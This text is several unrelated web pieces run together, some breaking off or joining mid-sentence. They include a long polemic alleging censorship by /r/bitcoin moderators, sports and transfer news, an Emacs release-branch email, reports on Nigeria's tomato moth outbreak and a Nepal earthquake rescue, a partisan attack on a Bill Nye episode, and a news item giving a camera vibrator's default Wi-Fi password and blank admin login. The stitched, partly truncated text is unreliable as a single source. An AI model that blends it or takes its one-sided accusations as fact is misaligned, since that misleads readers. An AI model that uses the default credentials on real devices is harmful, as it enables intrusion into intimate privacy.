“But /r/btc at this moment is smoking hot proof that /r/bitcoin is doing something right and that it’s not just a question of moderator punishment.” (Source, archive)
And Blockstream contractor and Bitcoin Core developer Luke-jr:
“Manipulating public opinion is not censorship” (Source, archive)
“I am not aware of any evidence that /r/Bitcoin engages in censorship.” (Source, archive)
“/u/theymos is one of the most anti-censorship people I know” (Source, archive)
And Bitcoin Core developer Peter Todd:
“Roger [Ver]’s ideas aren’t getting censored, they’re just not getting listened too. [sic]” (Source, archive)
And /r/bitcoin moderator /u/frankenmint:
“From my perspective we aren’t participating in censorship in any tangible way, for example, me going out of my way to get your content removed from medium.com would be me engaging in censorship…” (Source, archive)
Based on this outpouring of support from certain interested parties, it’s almost as if they’d have you believe there were no censorship happening at all! Pay no attention to the fact that /u/theymos has been shown to have financial dealings with Blockstream. Let’s take a look at censorship on /r/bitcoin through the ages:
May 7th, 2015. Using a tool called UnReddit, we can see a large number of deleted comments in a thread on increasing the block size.
August 9th, 2015. A highly upvoted thread (archive)(705 points, 89% upvoted) on /r/bitcoin receives three Reddit gildings for asking:
Do you believe in an open and permissionless network, or do you think Bitcoin will die because someone published some code and people are allowed to know it?
/r/bitcoin moderator /u/BashCo posts a response and is heavily downvoted when he says:
Given the fact that the block size limit debate hasn’t achieved anything even remotely resembling consensus, yet BitcoinXT contains code which could fragment the blockchain and existing ecosystem, the decision to moderate BitcoinXT topics as off-topic is consistent with actions taken towards alternate blockchains like Litecoin, Dogecoin, Ethereum, etc. I suggest we drop the inflammatory rhetoric and get to work on devising a way to scale Bitcoin which will achieve consensus.
Again for the uninitiated: the moderators of /r/bitcoin attempt to classify discussion of Bitcoin code changes (only the ones that attempt to increase the limit) as off-topic on the basis of being “altcoins.” Altcoins are entirely different currencies, with their own ledgers and tokens, and are not inter-operable with Bitcoin. BitcoinXT, on the other hand, runs on the same Bitcoin network as other Bitcoin software, uses the same tokens, and the same ledger, and is interoperable. A user running the BitcoinXT software is perfectly capable of transacting bitcoins with a user running the Bitcoin Core software.
August 13th, 2015. /u/aminok has his post (archive) deleted, in which he asked the mods: “please don’t try to impose your will on the Bitcoin community.” He posted about it in an uncensored Bitcoin subreddit.
August 14th, 2015. The very next day /u/aminok was then banned for posting a thread asking “How is the Bitcoin community supposed to build consensus to do a hard fork when the /r/bitcoin mods ban any discussion of a hard fork proposal that does not have consensus?” (archive). The thread was deleted after reaching the #1 spot on /r/bitcoin.
Aminok posted about the banning in an uncensored subreddit. /r/bitcoin moderator /u/StarMaged chimed in to offer this reasoning:
The entire exchange between /u/StarMaged and /u/aminok is worth reading.
August 15th, 2015. A now [deleted] post (archive) on /r/bitcoin calling for the moderators to step down garnered more than 2,800 upvotes (91% upvoted), making it one of the highest-voted threads of /r/bitcoin history. The community demonstrated consensus (heh) that the current /r/bitcoin mod squad was corrupt, participating in censorship, and needed to go.
Ironically, in the same thread, /r/bitcoin moderator /u/BashCo says that he supports consensus, before admitting that he is “regrettably” censoring posts.
August 16th, 2015. Moderator /u/BashCo admits that the mods are participating in censorship:
More accurately, I support consensus. Attempts to moderate BitcoinXT topics based on the lack of consensus has regrettably escalated to censorship. (archive)
The same day, user /u/SatoshisGhost was banned for mentioning BitcoinXT.
A popular Bitcoin webcomic artist /u/raisethelimit was given a 30 day ban for “trolling” when he tried posting two of his comics there.
/u/Jackten was given a 7-day ban for attempting to discuss Bitcoin-XT. In the comments, user /u/dnivi3 posts about how none of his posts are getting through either, and then edits his post to say that he has been banned from /r/bitcoin (presumably for his comment in /r/bitcoin_uncensored).
The same day, during this massive purge of users, /r/bitcoin head moderator /u/Theymos posted a thread titled, “Call for more moderators” (archive). The thread was heavily downvoted, and sits at 0 points (43% upvoted). His post includes the phrase: “Don’t apply if you disagree with /r/Bitcoin policy.”
August 18th, 2015. /u/SundoshiNakatoto has his post (archive) deleted for encouraging others to educate themselves on which code they like best (Core or XT) and running a full node. The deletion was discussed in an uncensored subreddit.
August 19th, 2015. /r/bitcoin moderator /u/jratcliff63367 makes a post to Let’s Talk Bitcoin titled “Confessions of an /r/bitcoin moderator.” He observes:
At the minimum we should allow the discussion and let people ‘vote’ their opinion based on which client they choose to run. If the bitcoin network is so fragile that someone running a different client with a different ruleset is an issue, then we have bigger problems.
The reality is that people running different versions of the client is no threat at all. It is an opportunity for the community to vote on the direction they want bitcoin to take.
Bitcoin-xt is not a ‘threat’ to bitcoin. It it is an option, a choice, a candidate to be voted on. One where the community can vote on which features they want to see in bitcoin, versus those which they do not.
August 24th, 2015. /u/chinawat is banned for noticing and pointing out all the recent bans.
August 25th, 2015. /u/SwagPokerz explains how the /r/bitcoin moderators have manipulated the subreddit’s CSS to mask the presence of deleted comments.
How a deleted comment normally displays.
With /r/bitcoin’s custom CSS (70,000 lines!), deleted comments are masked, and the new comment tree will display like this:
Worth noting here is that Reddit’s moddiquette guidelines tell moderators not to “Hide reddit ads or purposely mislead users with custom CSS.”
August 29th, 2015. Ten days after his anti-censorship post on Let’s Talk Bitcoin, former /r/bitcoin moderator /u/jratcliff63367 announces that he has been removed from his role. In the thread, /u/theymos chimes in to explain why he removed jratcliff:
He was going beyond just expressing a reasonable opinion. He was being particularly disrespectful and nonconstructive for a long period of time. Disagreement (even loud public disagreement) is fine, but we can’t effectively moderate without some sort of respect and trust between moderators.
September 4th, 2015. /u/hardleft121 announces that he has been removed as a moderator of /r/bitcoin for “inactivity” (archive). /u/hardleft121 is a bit of a legend in the Bitcoin subreddits for his frequent generous tipping of bitcoin users, sometimes even giving away hundreds of dollars at a time.
The same day, he makes a post to /r/bitcoin (archive) that garners 403 points and the sympathy and outrage of /r/bitcoin users. In the thread, it is revealed that /u/SeansOutpost was not removed as moderator, despite also being quite inactive as a mod. When asked what he thinks of the censorship, /u/SeansOutpost wrote:
I don’t understand/agree with why we can’t talk about this like adults. I am not qualified to make a judgement on whether or not XT is the way to go. But at this point, it seems obvious blocksize has to go up. I’m not sure why we can’t openly discuss all options. Open discussion would seem to be in the spirit of what Satoshi wanted.
He was shortly thereafter removed as a moderator.
November 4th, 2015. /u/Theymos attempts to explain his censorship policies, writing:
You can promote BIP 101 as an idea. You can’t promote (on /r/Bitcoin) the actual usage of BIP 101. When the idea has consensus, then it can be rolled out.(archive)
This once again raises the question: how is something supposed to gain community consensus if it is not allowed to be discussed? Theymos also has a strong tendency to play word games. It is very unclear and never explicitly defined what the difference of “promoting as an idea” and “promoting the usage of” is. The main factor seems to be whether it is discussed favorably (not permitted) or unfavorably (permitted).
November 5th, 2015. In a post that was downvoted to -749 points (archive), /u/theymos threatens to ban prominent Bitcoin company Coinbase and its CEO Brian Armstrong from /r/bitcoin for supporting block size increase proposal BIP101. Theymos also threatened to remove Coinbase from bitcoin.org (which he controls).
In the same thread, /u/StarMaged chimes in and admits how the post being discussed had been deleted by /r/bitcoin mods several times prior to being allowed. StarMaged also says of users commenting on the censorship and the ensuing confusion that
“That is why repeatedly saying things like that to someone is so dangerous.”
Yes, ideas are dangerous.
December 26th, 2015. /u/nathan2055 tested /r/bitcoin moderation policies by posting “a totally innocuous discussion thread” (archive) asking “What is you guy’s [sic] opinion on BitcoinXT and BIP101?” Of course, the post was immediately removed from /r/bitcoin. Moderator /u/StarMaged had to venture into /r/Bitcoin_Uncensored to provide his rationale for deleting the post:
/u/Nathan2055 also posted a screenshot of a private message exchange he had with /r/bitcoin moderator /u/110101002, in which the moderator explains that discussion of Coinbase is now completely forbidden in /r/bitcoin for being off-topic, simply because they run a different backend that is not Bitcoin Core.
In the same thread, StarMaged goes on to explain:
December 27th, 2015. Theymos made good on his earlier threats (archive) to remove Coinbase from bitcoin.org, along with any other company that dared to voice an opinion in favor of bigger blocks (as seen in this Github commit).
The post calling this behavior out had 419 points (87% upvoted), and the normally polite Erik Voorhees went so far as to say:
December 28th, 2015. A rogue /r/bitcoin mod going by the username /u/CensorshipIsTheWorst leaked the following conversation from the /r/Bitcoin mod-mail:
from Aussiehash [M] to /r/Bitcoin sent 1 day ago https://np.reddit.com/r/Bitcoin/comments/3ycayp/brian_armstrong_on_twitter_coinbase_is_now/ I’ve removed this post for now. I’m happy for other mods to reverse or otherwise.
from theymos [M] via /r/Bitcoin to Aussiehash [M] sent 11 hours ago I agree with removing it because it is mainly about XT. However, AFAICT Coinbase is currently still using Bitcoin and should therefore be allowed on /r/Bitcoinfor now in general. coblee said so in the bitcoin.org pull request, and I tend to trust him. (Perhaps Cobra was unaware of coblee’s reliability, or maybe he [IMO reasonably] considered Coinbase too dangerous/incompetent/reckless to list on bitcoin.org even though they are currently using Bitcoin.)
from StarMaged [M] via /r/Bitcoin to theymos [M] sent 5 hours ago Honestly, it seems to me that until the moment of the split, they are still a bitcoin company. They are just buying/selling two currencies at once instead of one. I am really uncomfortable with the idea that this policy would encourage companies to silently support XT and then only tell us at the last moment. Yeah, sure, remove those posts as altcoin promotion, but people outside of this subreddit should be allowed to make an informed decision without us scaring companies into censoring themselves. I feel that this is where that term “censorship” might actually be relevant, since our actions here on this issue would affect the speech of a company elsewhere out of fear of retaliation from this subreddit. Something to ponder.
A few hours later, /u/colsatre had his moderator position revoked, leading some to speculate that he was the rogue mod. /u/CensorshipIsTheWorst never posted again.
January 9th, 2016. A Github pull request to revert the removal of Coinbase and others is ignored, despite overwhelming consensus from Github users that the pull request should be merged (only three users “NACKed” the request). The post discussing this matter (archive)had 926 upvotes (89% upvoted).
Of course the “top comment,” with a score of -53, from rabid censorship supporter and JoinMarket developer /u/belcher_ insists that the vote is invalid because the pull request was “brigaded.” You’ll notice a similar refrain from the mods of /r/Bitcoin whenever they delete a post that disagrees with their status quo: The post was upvoted, ergo it was “brigaded,” ergo we had to remove it.
The vote was totally “brigaded.” If not for all the “brigadiers,” the three dissenting votes would have been an overwhelming majority. /s
It is interesting to note that a post with a score of negative 53 points would appear at the top of the comments thread. In addition to hiding the scores of new posts for 8-12 hours to obscure voting activity, the moderators of /r/bitcoin will set the default comment sorting behavior in threads they disagree with to “controversial,” so that the most heavily downvoted comments appear at the top of the thread, deceiving users unfamiliar with the practice into thinking that the most unpopular opinions are in fact the most popular.
March 8th, 2016. Long-time bitcoin user and inventor of the mining pool /u/slush0 remarks that the /r/bitcoin moderators censored a video he made explaining how users of his mining pool can vote on which software to run.
Although a self-described crypto-anarchist, Slush seems to have developed quite the case of Stockholm syndrome. Today he can be found actively participating in discussions on /r/Bitcoin and calling for the destruction of bitcoin’s security model.
The same day, /u/BeYourOwnBank points out that /r/bitcoin moderators have been deleting posts of Satoshi Nakamoto quotes. (Example 1, Example 2)
March 9th, 2016. /u/alwayswatchyoursix posts an accusation that mods of /r/bitcoin are actively searching /r/btc for users to ban. Former /r/bitcoin moderator /u/MineForeman chimes in to confirm that this is exactly what he has been doing, and admits that it is an automated process.
/u/MineForeman goes on to explain the methodology that his banning bot uses.
March 27th, 2016. /u/blockologist makes two posts to /r/bitcoin. One is titled “Poll — Classic or Core,” (Classic was another attempt at a block size increase, after BitcoinXT was killed through a prolific DDoS attack) and the other is a blog post from Gavin Andresen titled “Collaboration requires communication.” Both were deleted. A moderator of /r/bitcoin provided this rationale:
May 18th, 2016. /u/Annapurna317 receives a 15-day ban from /r/bitcoin for posting the following comment:
July 24th, 2016. Three-year old reddit account and longtime /r/bitcoin poster /u/chinawat demonstrates that his responses to a 1-day old account on /r/bitcoin are being selectively hidden.
August 29th, 2016. One can use a tool called “ceddit” to see which comments in a thread have been deleted. Here is one example from this day:
October 23rd, 2016. /u/andromedavirus provides proof that one of his comments was censored from /r/bitcoin. What had originally been censored was news of a Bitcoin miner conference held in China, which saw over 300 attendees who were overwhelmingly in favor of a blocksize increase. News of the conference was censored from /r/bitcoin, until a day later a dismissive and inaccurate tweet from prolific troll Samson Mow was permitted to remain:
The next day, /u/andromedavirus was banned from /r/bitcoin (archive) for being a “lying troll.”
ceci n’est pas une conference
October 31st, 2016. /u/BeijingBitcoins posted (archive) my own article, There Will Be No Bitcoin Split, to /r/bitcoin. It briefly attained the top post position in the subreddit before one of the mods locked the comments.
After realizing what happened while attempting to respond to a comment, /u/BeijingBitcoins then created a post on the uncensored /r/btc about how the comments had been locked. That post quickly gained attention, and within one hour of the /r/btc post drawing attention to the censorship, the original thread at /r/bitcoin had been removed altogether.
The next day, /r/bitcoin moderator /u/Frankenmint made a post in /r/btc to announce that he was the one who had locked the comments and then deleted the post. He explained that he had to lock the comments to prevent it from “devolving” (into what, exactly?). I had a brief exchange with him, in which I asked:
JB: Do you believe that a community is not capable of regulating itself?
FM: honestly…no not really… it will just fracture down into factions that have their own special interests at heart.
JB: If so, do you believe that a complex system like bitcoin is capable of regulating itself
FM: No — there are still software maintainers who follow and enforce the rules, and partcipants who seek to shape rules as they see fit — at a point to where shaping those rules causes a breaking change in the core protocol, those participants have now fractured themselves into a new subgroup.
His response right here sums up the entire position of the /r/bitcoin moderation team. While Bitcoin was originally invented as a crypto-anarchist plaything, and gained early attention from hardcore libertarians, it has now become overrun with paternalistic autocrats such as /u/theymos, /u/BashCo, and /u/frankenmint. These gentlemen rule with an iron fist, deleting posts that they deem to be “dangerous” to the community, and believing that both the online social community and Bitcoin itself are incapable of self-regulation. Instead they believe that only through the paternalistic wisdom of their own minds will Bitcoin ever amount to anything.
While today the exasperated members of the Bitcoin community accept the heavy-handed censorship as a fact of life, it was not always like this. The examples collected here are but few, and were collected over the course of two hours of research. While today the censorship is accepted as the norm, you can see in some of the examples above that it was once an incredibly contentious issue among the community.
Sadly, many members of the Bitcoin community, including those who have at times described themselves as cypherpunks, libertarians, and crypto-anarchists, have all become complacent with the status quo. Not only do they not attempt to fight against this tyranny, but they casually accept it, defend it, and continue participating in heavily censored forums where the voices of a significant number of their entire community are prevented from ever being heard. What is happening is gas-lighting of the highest order.
John Blocke implores these people to take action: Denounce censorship, and do not participate in censored forums. The Reddit admins have shown time and again that they do not care to disrupt the disruption of a $10 billion open source software movement, so we must take matters into our own hands. Do not let Bitcoin perish at the hands of a petty tyrant like Theymos.
Addendum: this article was disappeared from /r/bitcoin within minutes of it being posted there by /u/BitcoinGuerrilla.ARLINGTON, Va. – The Washington Capitals have acquired forward Casey Wellman from Florida in exchange for center Zach Hamill, vice president and general manager George McPhee announced today.
Wellman, 25, has recorded 23 points (seven goals, 16 assists) in 37 games this season with San Antonio of the American Hockey League (AHL). He ranked third in points on San Antonio at the time of the trade. The Brentwood, Calif., native has tallied 13 points (four goals, nine assists) in 41 NHL games with Minnesota from 2009-2012, and has recorded 105 points (44 goals, 61 assists) in 136 career AHL games with Houston, Connecticut and San Antonio.
The 6’0”, 185-pound forward was originally signed as an undrafted free agent by Minnesota in March 2010. He spent two seasons at the University of Massachusetts (Amherst) and compiled 78 points (34 goals, 44 assists) in 75 games and was named to the NCAA Hockey East All-Rookie Team in 2009 and the Hockey East All-Academic Team in 2010.
Hamill has registered 22 points (11 goals, 11 assists) in 40 games this season with Hershey (AHL).We Are Building A Winnitron
We love the Winnitron! It’s an indie game arcade network with new games on old school arcade cabinets. (check out winnitron.ca for more information).
It is about time we built one and put it on display in the public spaces of the Caballero Fabriek in The Hague.
This project has only just begun and it’s already been loads of fun. We dug up an old arcade cabinet (Mortal Kombat 3!) and picked it up in a van that was too small. This resulted in us cruising over the highway with an arcade cabinet sticking out the back. That distracted a lot of people from driving. We weren’t paying much attention to the road either. All four of us (Guido, Tedo, Fabian and Peter) were preoccupied with looking over our shoulders to see if the cabinet wouldn’t slide out. But, we made it!
Here’s us, unloading the behemoth:
Next, we tore out all the hardware. Here you can see Guido and Niels working on that:
Use the parts to pimp the office a bit:
And what you’re eventually left with is an empty cabinet ready to be filled with new hardware and Winnitron’s software. Meanwhile we’re using it as a puppet theatre:
Expect more blogs about the progress of this project. And if anyone is interested in the hardware we tore out, it’s for sale.
Stay tuned! Winnitron is coming!
– PeterA POTENTIAL ruckman who blitzed the 20m sprint is among four American athletes to be invited to travel to trial for AFL clubs in September.
College basketballer Drew Martin won an invitation to head to Australia following a brilliant few days of testing at the International Combine in Los Angeles earlier this year.
The 22-year-old, who stands 201cm and 92kg, proved his athleticism by recording a stunning time of 2.85 seconds in the 20m sprint. The all-time combine record is 2.75 seconds (by former Gold Coast player Joel Wilkinson in 2010), but Martin's time puts him in elite company.
Cullen Russo (from Fresno State University), Zac Allman (Vanguard University) and Stephen Bennett (Texas Southern University) are the other US prospects to have won an invitation to test their wares in front of AFL clubs. All are above 200cm as the AFL looks to find more ruckmen and key position players out of America.
Bennett showed his aerial prowess by winning the relative and absolute running vertical jumps tests at the combine, while Allman finished in the top five for the repeat sprints and running vertical jump.
In the past the American hopefuls have attended the national NAB AFL Draft Combine at Etihad Stadium in October, but this year they will trial in the weeks earlier so the clubs can concentrate on assessing their talent without having the 2017 draft pool in attendance.
They will be advised closely during their stay by Port Adelaide premiership coach and former GWS and Richmond assistant Mark Williams, who has taken on a role within the AFL's talent division.
Carlton and Hawthorn were the only clubs to send recruiters to oversee the combine, but the AFL is hopeful there will continue to be interest in signing the Americans as category B rookies given the development of other US recruits, including Mason Cox at Collingwood.
List managers Graham Wright (Hawthorn) and Stephen Silvagni (Carlton) attended the International Combine.
Some of the prospects may have to weigh up offers from the AFL as well as European basketball clubs, with those to potentially land in August.
"They're very keen, depending on what that European offer may be, to consider this one too from the AFL," the AFL's national and international talent manager Kevin Sheehan said.
"They've all got a fair bit to offer. They're all of ruckmen size, they're all elite athletes in so many areas and have something special about each of them.
"It's appealing to us because four years of college development has been put into each of them in professional programs as well as all of their high school upbringings in sport."Tianjin Quanjian want Bacca
By Football Italia staff
Fabio Cannavaro’s Tianjin Quanjian are offering Milan €30m for Carlos Bacca, but the Colombian striker is not convinced.
According to Sky Sport Italia, the Chinese club is prepared to pay over the €30m asking price for the former Sevilla striker.
He would then be able to pocket a massive €12m per year salary.
However, the report also states that Bacca is not entirely comfortable with the idea of moving to the Chinese Super League.
There is little time to decide, as the Chinese transfer window shuts on February 28.
Cannavaro made it clear his primary transfer target is Fiorentina hitman Nikola Kalinic, but the Croatia international turned him down.
Bacca might not be enthusiastic right now, but he has been increasingly on the fringes of the Milan squad and was loudly jeered by home fans at the weekend.Re: Emacs-23 release branch
From: Chong Yidong Subject: Re: Emacs-23 release branch Date: Tue, 09 Mar 2010 23:09:29 -0500 User-agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1.93 (gnu/linux)
Stefan Monnier <address@hidden> writes: > I have just cut the release branch for Emacs-23.2. It's at: > > sftp://bzr.sv.gnu.org/srv/bzr/emacs/emacs-23 > > Any changes which you'd like to see in Emacs-23.x should be installed > there and only there (from where we will then merge it back onto the > trunk). Also, note that I intend to make a new pretest tomorrow, from the release branch. Now that the release branch has been made, please install there only fixes that are regressions with respect to Emacs 22.3. If you think a non-regression fix should go into the branch, please ask Stefan or myself, or discuss on emacs-devel. Some of the changes in NEWS have yet to be documentated; if you have some time, help in this area would be much appreciated. As for the trunk, new features intended for Emacs 24 (and bugfixes not safe for Emacs 23.2) can now be checked in. However, if the change is major (or if you have commit access but are not a regular contributor) please inform emacs-devel first. ----- This is also a good point for people to chime in on their plans for Emacs 24. Stefan and I have had some discussions about this; here is our current list of major changes that we'd like to see included: * The package manager (Tromey et al.). * Bidi support (Eli). * Better VC interaction DVCSs (Dan, etc?). As an exception, we plan to backport VC improvements to Emacs 23.3. * Color-theme, or something like it. (Maybe using Custom Themes?). * Concurrency? (Scrivano et al.) (Even if we can't get this ready in time, it would be good to make this an "experimental" compile-time option.) * Lexbind? (Miles). (Miles, how realistic is it to include this?) * TTZ's experiment with SVG progress bar, abstracted into a general Emacs library for embedded graphics. If we can do this, I would also like to seriously consider switching to SVG as the default image library, replacing our use of xpm (e.g., the inline xpm images that we use for certain buffer widgets should be turned into SVG). * GTK widget embedding code? (Joakim). (Joakim, how realistic is it to include this?) The preceding SVG widget feature might make this less necessary; I'm not sure. Other stuff we'd like to see happen, if possible, are: * Increased usage of the Semantic library by other parts of Emacs. * Improving the Customize user interface (I have some working in this area that I'm going to commit soon).This article is over 2 years old
Government declared a state of emergency after moths destroyed swaths of tomato fields, forcing factories to close and driving prices up astronomically
A state government in northern Nigeria has declared a state of emergency after moths destroyed swaths of tomato fields, threatening supplies of the country’s leading staple food.
Nigerian farmers describe the outbreak as “tomato Ebola” after the deadly disease that devastated west Africa in 2014.
The news from Kaduna state saw Nigerians voice fears on social media they would not be able to make jollof rice – a beloved national dish made with tomato paste – because of the scarcity.
Tomato prices have shot up as a result of the moth Tuta absoluta, adding to existing hardships from a 67% rise in the price of petrol and soaring inflation in Africa’s largest economy.
Second Chibok schoolgirl'rescued' from Boko Haram, Nigerian army says Read more
“We have declared a state of emergency over the outbreak of a moth that has destroyed over 80% of tomato farms in the state,” the Kaduna state agriculture commissioner, Manzo Daniel, told AFP.
The tomato shortage caused by the outbreak has caused prices to go up “astronomically”, he added.
A wholesale basket containing hundreds of tomatoes now sells for 42,000 naira ($212), up from 300 ($1.50) to 1,500 naira ($7.50) before the outbreak, he said.
“This is only the beginning of a disaster if we don’t take drastic measures because the disease is fast spreading across the north,” he warned.
More than 200 tomato farmers in the region have already suffered losses of more than 1bn naira ($5.02m) from the disease, he said.
Experts have been sent to Kenya to develop a strategy to combat the brown moth, which lays eggs on tomato plants and develops into a hungry caterpillar that feeds on the leaves, stems and fruit.
More than 90% of 17,000 hectares (42,000 acres) of tomato fields outside the northern city of Kano have been destroyed by the insect, according to the state’s agriculture officials.
A $200m tomato processing factory built by Nigerian billionaire Aliko Dangote has been forced to shut down because of the shortfall in supply, its managing director, Abdulkareem Kaita, said.
Tuta absoluta, which originated in South America and spread to Europe and Africa, quickly develops resistance to pesticides, making it difficult to contain.Eight of the 22 coaches in Major League Soccer were a part of a class that made history over the weekend, as they completed the first U.S. Soccer pro coaching license course.
The Columbus Crew’s Gregg Berhalter, Real Salt Lake’s Jeff Cassar, Philadelphia Union’s Jim Curtin, Orlando City’s Jason Kreis, the Colorado Rapids’ Pablo Mastroeni, D.C. United’s Ben Olsen, Sporting KC’s Peter Vermes and 2016 MLS Coach of the Year Oscar Pareja from FC Dallas were a part of the initial class of 13.
Former Seattle boss Sigi Schmid, U.S. Under-20 Men’s National Team manager Tab Ramos, U.S U-18 coach Omid Namazi, U.S. U-17 boss John Hackworth and former U.S. U-17 boss and current RSL assistant Richie Williams rounded out the group.
The process, which took place over the last 12 months according to a U.S. Soccer release, featured guest presenters like Sunderland manager David Moyes and former USMNT head coach and technical director Jurgen Klinsmann.
The primary objectives of the course, per U.S. Soccer, were for each coach to accomplish a custom, individualized plan and for the group of coaches to set new standards for the next wave of American coaches.
“It’s a great privilege being |
was awkwardly featured jamming along in full endorsement of the anti-science debauchery.
Naturally, such an episode has been granted an Emmy nomination!
"It's been a record-breaking year for television, continuing its explosive growth," said Television Academy Chairman Hayma Washington in a statement. "We are thrilled to once again honor the very best that television has to offer."
In the Emmy-nominated episode, Bloom, dressed in a tight black leotard with shoulder pads and sparkly purple lightening-like stripes, opens the song by singing about her vagina's voice. Really Emmy-worthy stuff.
"My vagina has its own voice / Not vocal cords, a metaphorical voice / Sometimes I do a voice for my vagina," she sings.
Getting more scientific, Bloom continues: "Versatile love may have some butt stuff / It's evolution, ain't nothing new / There's nothing taboo about a sex stew."
"Sexuality's a spectrum," she sings. "Everyone is on it / Even you might like it if you sit up on it / Drag queen, drag king, just do what feels right."
Over and over, Bloom reminds the audience that her "sex junk is so oh, oh, oh much more than either or, or, or."
Nye's Netflix special has been hammered by conservatives, for both its absurdity and its leftist messaging. As reported by Daily Wire's John Nolte, another episode from Nye features an ice cream cone cartoon which condemns monogamous heterosexuality as immoral and unnatural.
Nye has also dabbled in promoting eugenics, once asking on air if it's time to start "penalizing people for having extra kids."
WATCH:This article is over 3 years old
Images published by Kathmandu Today show four-month-old being pulled to safety after being buried under collapsed building for 22 hours
A baby boy has been rescued from the rubble of the Nepal earthquake after being buried under a collapsed building for 22 hours, according to a local newspaper.
Images published by Katmandu Today showed the boy covered in dust being pulled to safety by members of the armed forces.
One picture appeared to show the boy, named locally Sonit Awal, four months old, buried deep under rubble and bricks.
Rescuers were called after the boy’s family house in the town of Bhaktapur collapsed in the 7.8-magnitude earthquake on Saturday. They tried until midnight to pull him from the rubble without success, the newspaper said.
But the boy’s father continued to hear him cry and the rescue team returned the next morning, eventually pulling him out alive at 10am on Sunday morning. He was taken to Bhaktapur hospital but was cleared of any injuries, the newspaper said.
The condition of the rest of the boy’s family is unknown.
The death toll in Nepal rose to 5,057 on Tuesday as rescue efforts continued. The Nepalese prime minister, Sushil Koirala, warned that as many as 10,000 people could have been killed..- Canada’s decision to defund its Office of Religious Freedom will harm the country’s ability to defend religious minorities and human rights in general, said religious freedom advocates and other supporters of the office.
“If Canada shuts down its Office of Religious Freedom, it will not just harm religious freedom, but Canada’s ability to promote all other human rights,” attorney Gerald Chipeur told CNA March 21. Chipeur is an allied attorney with the Alliance Defending Freedom legal group and partner with the Miller Thomson law firm in Calgary.
He responded to the government’s decision to end funding for Canada’s Office of Religious Freedom, which ends on March 31.
“The reality is this that in countries where religious freedom is not protected, you will find most other freedoms are also not protected,” he said. “In fact, there is a direct correlation between the guarantees of religious freedom and the guarantees of other human rights and democracy.”
“Religious freedom is the most important discussion one can have,” he said. “You can talk about trade, defense, and other issues, but if you aren’t first talking about religious freedom, then you will miss a very important opportunity to promote human rights and democracy.”
On March 21 the Liberal Party, led by Prime Minister Justin Trudeau, voted against a motion by Conservative MP Garrett Genius to extend funding for the office for another term.
The motion was voted down 226 to 90, with the NDP, Bloc Quebecois and Green Party leader Elizabeth May all siding with the Liberal Party against funding.
Despite the result, Chipeur said other countries can still positively influence Canada’s decision.
“The U.S. government should step in and urge Canada not to go down this road,” he said. “Australia, the U.K., France, and other countries where there is a long tradition of constitutional protections of religious freedom, should stand up and plead with Canada to not to shut it down.”
Foreign Minister Stephane Dion was among the opponents of the motion to fund the office. He advocated a consolidation of human rights efforts.
“We have to consider whether it might not be more effective to combine all of Global Affairs Canada’s efforts to defend and promote human rights into a single office, to advance and to leverage the resources of the department and its embassy network around the world to advance this mission,” Dion said.
But Peter Stockland, a senior writer with the Canadian think tank Cardus, said that the minister’s explanation undermines religious freedom and why the office was established.
“Religious freedom is not a right that is on a continuum of rights that is indistinguishable from all others,” he said. “It is ineffective to lump all rights together and treat them equally,” Stockland told CNA March 23.
“To stop religious oppression and hatred, you need something that actually addresses violations against religious freedom, not a general office committed to a smorgasbord of rights,” Stockland explained. “The Office of Religious Freedom was established specifically to root out religious persecution.”
Barry W. Bussey, director of legal affairs for the Canadian Council of Christian Charities, said focusing on religious freedom does not devalue other rights.
“Having an Office of Religious Freedom does not mean that religious freedom trumps other human rights,” told CNA March 23. “It is simply that we are living in a time when religious freedom is in peril because of all that is happening on the international scene with respect to religious minorities.”
In 2013, former Prime Minister Stephen Harper named Andrew P.W. Bennett as the first Canadian Ambassador for Religious Freedom. During the 2011 federal election, Harper promised to create an office of religious freedom. He said the effort was inspired by the brutal assassination of Clement Shahbaz Bhatti, the Pakistani politician who criticized Pakistan’s strict blasphemy laws and defended victims of religious persecution.
With a $5 million dollar budget, the office has funded various projects in Nigeria, Ukraine, Pakistan, Myanmar and Iraq. The projects have focused on promoting religious tolerance in schools and helping religious minorities under threat.
Bussey explained that religious minorities will be adversely affected by the decision.
“Fundamentally, the office raised the profile of religious minorities and helped bring greater understanding between various religious groups,” he said. “Religious minorities are very disappointed that the office is closing.”
“Many minorities chose to settle in Canada and other western countries like the U.S., because they were fleeing persecution in their home state,” Bussey explained. “The creation of the Office for Religious Freedom showed religious minorities that their new country was concerned about their plight and the fate of their fellow believers back home. The closing of the office puts this concern in question.”
Although Dion voted against the office, the foreign minister said Canada will still “enhance and strengthen Canada’s fight for religious freedom everywhere.”
Bussey said that religious minorities will hold the government accountable.
“Religious minorities will be watching the Canadian government closely to see if it holds true to its promise to maintain the same level of concern about religious persecution as it did with the Office of Religious Freedom,” he said.
“These minorities have family members back in their home state and will watch very carefully what the government does with respect to religious freedom and the persecution of their fellow countrymen,” Bussey explained.
He said he hopes the Canadian government will keep its promise to value religious freedom.
“Once the office is closed, there is a real fear that religious freedom will get lost in the sea of other international concerns of the government,” Bussey concluded. “I hope the government will prove everyone with such fears wrong and that religious freedom will still be maintained as a high priority.”British hackers have discovered that they were easily able to hack into a $249 dildo which includes “a small camera on its tip,” creating the potential risk of hijackers looking in on intimate footage.
The Svakom Siime Eye, which touts itself as a “wireless camera vibrator for women,” lets users look inside their orifices during use, and also features waterproof functionalities, “whisper quiet” vibrations, and an “intelligent mode.”
“However, if you’re in Wi-Fi range of the dildo and can guess the password, which by default is ‘88888888,’ you can watch the video stream,” explained Vice’s Motherboard. “With a bit more hacking, you can take control of the firmware and then connect to it remotely as well.”
“When somebody is using it, someone else could be seeing the video stream,” claimed Ken Munro, the founder of Pen Test Partners, who discovered the vulnerability, adding that you’d also “never know about it.”
“The fact they chose to use Wi-Fi was utterly stupid,” Munro continued, before recommending owners of the device to throw it away and “never use it again.”
In a blog post on Monday, Pen Test Partners explained how easy it was to take control of the device.
“Beau du Jour found that the Siime Eye creates a Wi-Fi internet access point whose password, by default, is ‘88888888.’ That way, anyone in range can connect to it by guessing the simple password,” reported Motherboard on the blog post. “By looking at the code of the mobile app that comes with the dildo, the researcher also found that once on the dildo’s Wi-Fi, you can access its webserver. This has a login portal, but the user is ‘admin’ and the password is blank.”
“By reverse engineering the firmware, Beau du Jour found a way to get root — hacker speak for taking full control of it — and get persistence on the device, meaning that he could connect to it even outside the range of the Wi-Fi,” they continued. “At that point, it was game over for the smart camera dildo.”
Sex toy company We-Vibe was ordered to pay out nearly $3 million in March after it was discovered that their own “smart vibrator” had been secretly collecting intimate data.
